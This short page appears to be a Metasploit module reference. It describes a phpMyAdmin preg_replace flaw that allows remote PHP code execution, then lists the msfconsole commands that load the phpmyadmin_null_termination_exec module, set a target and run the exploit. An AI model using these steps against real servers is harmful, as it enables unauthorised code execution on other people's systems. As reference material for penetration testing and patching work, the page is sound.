phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before 4.6.3 does not properly choose delimiters to prevent use of the preg_replace (aka eval) modifier, which might allow remote attackers to execute arbitrary PHP code via a crafted string, as demonstrated by the table search-and-replace implementation.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/http/phpmyadmin_null_termination_exec
msf exploit(phpmyadmin_null_termination_exec) > show targets
...targets...
msf exploit(phpmyadmin_null_termination_exec) > set TARGET < target-id >
msf exploit(phpmyadmin_null_termination_exec) > show options
...show and set options...
msf exploit(phpmyadmin_null_termination_exec) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
